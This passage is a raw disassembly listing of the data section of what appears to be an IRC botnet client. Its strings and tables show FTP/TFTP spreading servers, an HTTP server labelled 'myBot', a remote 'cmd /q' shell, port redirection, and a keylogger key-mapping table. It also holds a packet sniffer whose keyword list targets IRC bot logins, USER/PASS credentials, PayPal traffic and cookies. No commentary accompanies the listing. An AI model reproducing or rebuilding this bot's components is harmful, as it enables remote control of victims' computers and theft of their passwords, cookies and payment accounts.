aPort db 'PORT',0 ; DATA XREF: sub_40F2F1+402o align 4 aS_13 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40F2F1+43Bo db ']',0 aXX db '%x%x',0Ah,0 ; DATA XREF: sub_40F2F1+47Fo align 4 aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_40F2F1+4B2o a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40F2F1+4C3o align 4 aRetr db 'RETR',0 ; DATA XREF: sub_40F2F1+4D3o align 10h a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_40F2F1+4EBo align 4 aFtpTransferSta db 'ftp transfer started to: %s',0 ; DATA XREF: sub_40F2F1+514o a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40F2F1+55Eo aFtpTransferCom db 'ftp transfer complete to: %s',0 ; DATA XREF: sub_40F2F1+570o align 10h a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_40F2F1+5C1o align 4 aQuit_1 db 'QUIT',0 ; DATA XREF: sub_40F2F1+5CEo align 4 a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40F2F1+5E2o aRb db 'rb',0 ; DATA XREF: sub_40F986+24o align 10h aGet_0 db 'GET ',0 ; DATA XREF: sub_40FA20+25Eo align 2 asc_44A706 db ' ',0 ; DATA XREF: sub_40FA20+281o asc_44A708: ; DATA XREF: sub_40FA20+286o unicode 0, < >,0 aGet_1 db 'GET ',0 ; DATA XREF: sub_40FA20+291o align 4 asc_44A714 db 0Dh,0Ah,0 ; DATA XREF: sub_40FA20+2C4o align 4 unk_44A718 db 2Dh ; - ; DATA XREF: sub_40FA20+3D9o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 aTextHtml db 'text/html',0 ; DATA XREF: sub_40FE5C+64o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40FE5C:loc_40FEC7o align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FE5C+83o align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40FE5C+97o align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FE5C+D3o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 8 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FE5C+F0o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aS_14 db '\%s',0 ; DATA XREF: sub_40FFD8+2Fo aS_15 db '%s',0 ; DATA XREF: sub_40FFD8+39o align 10h aSS_2 db '%s%s',0 ; DATA XREF: sub_40FFD8+E9o align 2 asc_44A966 db 0Ah,0 ; DATA XREF: sub_40FFD8+FAo asc_44A968: ; DATA XREF: sub_40FFD8+156o unicode 0, <*>,0 unk_44A96C db 2Dh ; - ; DATA XREF: sub_40FFD8+20Ao db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 10h dword_44A9A0 dd 234032Dh, 70747468h, 2D030264h, 69616620h, 2064656Ch ; DATA XREF: sub_40FFD8+27Co dd 73206F74h, 74726174h, 726F7720h, 2072656Bh, 65726874h dd 202C6461h, 6F727265h, 64252072h db 2 dup(0) word_44A9D6 dw 0Ah ; DATA XREF: sub_410287+29o aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_410287+4Bo aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_410287+77o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_410287+ACo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 8 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_410287+F6o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_410287+12Ao db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_410287+146o align 8 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_410287+1BFo db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 a__ db '..',0 ; DATA XREF: sub_410287+231o align 10h a__1: ; DATA XREF: sub_410287+24Co unicode 0, <.>,0 aPm_0 db 'PM',0 ; DATA XREF: sub_410287+284o align 4 aAm db 'AM',0 ; DATA XREF: sub_410287+293o align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_410287+2B4o aS_16 db '<%s>',0 ; DATA XREF: sub_410287+2DEo align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_410287+308o align 10h aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_410287+335o db '<TD WIDTH="%d"><A HREF="',0 align 10h aSS_3 db '%s%s/',0 ; DATA XREF: sub_410287+379o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_410287+3C6o align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_410287:loc_410654o align 10h aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_410287+406o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aS_17 db '<%s>',0 ; DATA XREF: sub_410287+418o align 10h a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_410287+439o align 10h aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_410287+476o align 4 aTrTdWidthDAH_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_410287+48Bo db '<TD WIDTH="%d"><A HREF="',0 align 4 aSS_4 db '%s%s',0 ; DATA XREF: sub_410287+4CFo align 10h aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_410287+51Co align 10h aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_410287:loc_4107AAo align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_410287+566o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_410287+58Eo align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_410287+61Do align 10h aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_410287+638o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_410287+64Do align 10h aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4109F3+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_44AEB8 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_410B14+BBo aClientConnecti db '- client connection from %s:%d.',0 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_410B14+113o dword_44AEFC dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_410B14+16Eo aServerFailed_0 db '- server failed, returned %d',0 align 4 unk_44AF28 db 2Dh ; - ; DATA XREF: sub_410CBF+E9o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 10h unk_44AF70 db 2Dh ; - ; DATA XREF: sub_410CBF+14Bo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_39 db 'Failed to start client thread, error: <%d>.',0 align 10h unk_44AFB0 db 2Dh ; - ; DATA XREF: sub_410E4F+E1o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 8 unk_44AFF8 db 2Dh ; - ; DATA XREF: sub_410E4F+157o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_40 db 'Failed to start connection thread, error: <%d>.',0 unk_44B038 db 2Dh ; - ; DATA XREF: sub_4110D4+E1o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 4 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_4110D4+172o align 4 unk_44B078 db 2Dh ; - ; DATA XREF: sub_4110D4+1A2o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 unk_44B0A0 db 2Dh ; - ; DATA XREF: sub_4110D4+1C2o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 4 unk_44B0CC db 2Dh ; - ; DATA XREF: sub_4110D4+1E9o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_44B0F8 db 2Dh ; - ; DATA XREF: sub_4112D9:loc_41130Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 unk_44B124 db 2Dh ; - ; DATA XREF: sub_41131A+1Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aLoginRejectedR db '- Login rejected, Remote user: <%s@%s>.',0 align 4 unk_44B15C db 2Dh ; - ; DATA XREF: sub_411349+3Do db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 4 unk_44B188 db 2Dh ; - ; DATA XREF: sub_411349+70o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToInstal db '- Failed to install control-C handler, error: <%d>.',0 align 4 unk_44B1CC db 2Dh ; - ; DATA XREF: sub_411349+106o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aReadyAndWaitin db '- Ready and waiting for incoming connections.',0 align 4 unk_44B208 db 2Dh ; - ; DATA XREF: sub_411349+177o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aClientConnec_2 db '- Client connection from IP: %s:%d, Server thread: %d.',0 unk_44B24C db 2Dh ; - ; DATA XREF: sub_411349+1E8o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_41 db '- Failed to start client thread, error: <%d>.',0 align 4 unk_44B288 db 2Dh ; - ; DATA XREF: sub_411349+218o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorServerFai db '- Error: server failed, returned: <%d>.',0 align 10h unk_44B2C0 db 2Dh ; - ; DATA XREF: sub_4115D0+59o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_44B308 db 2Dh ; - ; DATA XREF: sub_4115D0+8Fo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create ReadShell session thread, error: <%d>.',0 align 10h unk_44B350 db 2Dh ; - ; DATA XREF: sub_4115D0+E2o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 8 unk_44B388 db 2Dh ; - ; DATA XREF: sub_411725+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_44B3C8 db 2Dh ; - ; DATA XREF: sub_411725+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_2 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_44B408 db 2Dh ; - ; DATA XREF: sub_411725+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_41181E+8Co align 4 unk_44B438 db 2Dh ; - ; DATA XREF: sub_41181E+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 10h unk_44B470 db 2Dh ; - ; DATA XREF: sub_4118F7+8Do db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0 align 10h dword_44B4B0 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411AAE+A8o aServerStarte_5 db '- Server started on: %s:%d.',0 dword_44B4D8 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411AAE+114o aClientConnec_3 db '- Client connection from IP: %s:%d, Server thread: %d.',0 align 4 dword_44B51C dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411AAE+17Co aFailedToSta_42 db '- Failed to start client thread, error: <%d>.',0 align 4 dword_44B558 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411AAE+1B1o aFailedToSta_43 db '- Failed to start server on Port %d.',0 align 4 dword_44B58C dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411CB2+F2o aAuthentication db '- Authentication failed. Remote userid: %s != %s.',0 align 4 dword_44B5CC dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411CB2+18Ao aErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0 align 10h dword_44B610 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411CB2+1F9o aErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0 align 4 aRb_0 db 'rb',0 ; DATA XREF: sub_41206F+130o align 4 aTftpTransferSt db 'Tftp transfer started to: %s',0 ; DATA XREF: sub_41206F+2CDo align 4 aTftpTransferCo db 'Tftp transfer complete to: %s',0 ; DATA XREF: sub_41206F+3BEo align 4 dword_44B698 dd 4000500h, 7868746Bh, 2 dup(0) ; DATA XREF: sub_41206F+416o dd 8 dword_44B6AC dd 62h, 62000000h, 2 dup(0) ; DATA XREF: sub_4125C5:loc_4126A8o dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_44BDDC dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_4125C5+2AAo dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_44BE14 dd 5Ch ; DATA XREF: sub_4124E6+2Co dword_44BE18 dd 6261h ; DATA XREF: sub_4124E6+4Eo aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4124E6+86o align 4 dword_44BE38 dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0 ; DATA XREF: sub_4124E6+ACo aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4125C5+8Fo align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4125C5+1D9o align 10h aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_4125C5+21Co align 8 aBot db 'BOT',0 ; DATA XREF: _2:off_44BEACo off_44BE9C dd offset loc_435240+9 ; DATA XREF: _2:0044BEB0o off_44BEA0 dd offset loc_505442+4 ; DATA XREF: _2:0044BEB4o aHttp_0 db 'HTTP',0 ; DATA XREF: _2:0044BEB8o align 4 off_44BEAC dd offset aBot ; DATA XREF: sub_41289A+2B5r ; "BOT" dd offset off_44BE9C dd offset off_44BEA0 dd offset aHttp_0 ; "HTTP" align 10h dword_44BEC0 dd 6F6C2E3Ah, 6E6967h, 3 dup(0) ; DATA XREF: sub_41289A+1DEo dword_44BED4 dd 0 ; DATA XREF: sub_41289A+2AEr dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) dword_44C718 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_41289A+85o aSocketFailedRe db '- socket() failed, returned %d',0 align 4 dword_44C744 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_41289A+103o aBindFailedRetu db '- bind() failed, returned %d',0 align 10h dword_44C770 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_41289A+186o aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 10h aPsniff_0 db '[PSNIFF]',0 ; DATA XREF: sub_41289A+236o align 4 dword_44C7AC dd 234032Dh, 696E7370h, 3026666h, 2Dh ; DATA XREF: sub_41289A+24Do dword_44C7BC dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_41289A+2C2o aSuspiciousSPac db '- suspicious %s packet from: %s:%d - %s',0 dword_44C7F0 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_41289A+313o aRecvFailedRetu db '- recv() failed, returned %d',0 align 4 aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412C1F+5o align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: 